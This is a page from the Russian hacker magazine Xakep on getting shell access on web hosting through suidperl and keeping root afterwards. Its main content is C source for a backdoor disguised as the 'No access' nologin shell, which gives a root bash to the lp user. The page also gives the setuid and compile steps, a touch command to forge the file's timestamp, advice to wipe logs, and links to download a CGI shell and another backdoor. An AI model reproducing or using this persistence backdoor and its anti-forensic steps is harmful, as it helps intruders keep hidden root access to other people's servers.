Shell на халяву

Xakep, номер #047, стр. 047-064-3


Suidperl - программа для исполнения суидных Perl скриптов. Получается, что права, с которыми запустится скрипт, будут: nobody (uid) и xakep (euid). То есть suidperl наследует uid, закрепленный на скрипте. При условии, что /bin/false был в /etc/shells, шелл будет сменен, и в итоге появится возможность ходить под своим логином через /bin/bash. Опция -U суидперла блокирует taint проверку скрипта, иначе скрипт ругнется на unsecure $ENV{PATH}.

Дальнейшее удержание прав

Итак, перенесемся в заветное будущее, когда на хостинге уже есть root-права. Что делать? Одним из хороших способов будет создание fake-shell, который бы пускал в систему только определенного человека. Как это осуществить? На большинстве хостингов существует свой шелл-nologin, который пишет одну единственную строку, как реакцию на подключение - No access. Воспользовавшись этим, слегка подредактируем код. Допустим, в системе есть пользователь lp (принтер сервис) с уидом 4. Ему необходимо установить свой пароль (не стоит забывать чистить логи после этого!), и шелл, как обычно - /sbin/noaccess. Вот его код в си-реализации:

int main() {

if (getuid() == 4) { /* Если уид=4 */

setuid(0);

setgid(0);

system("/bin/bash"); /* Запускаем bash из-под рута */

} else {

printf("No access\n"); /* Иначе пишем - No access */

}

}

Как видишь - все просто. Остается лишь откомпилить его: gcc noaccess.c -o /sbin/noaccess. Затем поставить на него атрибут +s (для setuid() нужен SUID атрибут) и сменить дату обращения к файлу командой touch -t 200101151932 /sbin/noaccess (время в формате ГГММДДЧЧММ). Рекомендуется также скачать какой-нибудь logwiper и интегрировать его в noaccess, иначе пребывание на сервере будет логироваться.

Вот и вся инфа о поднятии shell доступа на разнообразных хостинговых службах. Просто поднятие shell'а - дело без последствий, но если продолжать получать более высокие права, то это уже уголовно наказуемо (особенно при получении рут прав). Так что осмысливай свои действия!

http://cgi-bin.hut.ru/cmd.pl

По этой ссылке можно скачать альтернативный perl скрипт, реализующий cgi-shell. Зачем он дается? Да просто он гораздо удобнее, а публиковать его сорсы - бессмысленно.

Конечно, бэкдоры бывают не только на Perl. По адресу http://kamensk.lael.ru/forb/soft/bd.c можно скачать сишник с подробными комментариями. Компилить его придется, видимо, через www, а затем запускать оттуда же, как обычный бинарник.

Назад на стр. 047-064-2  Содержание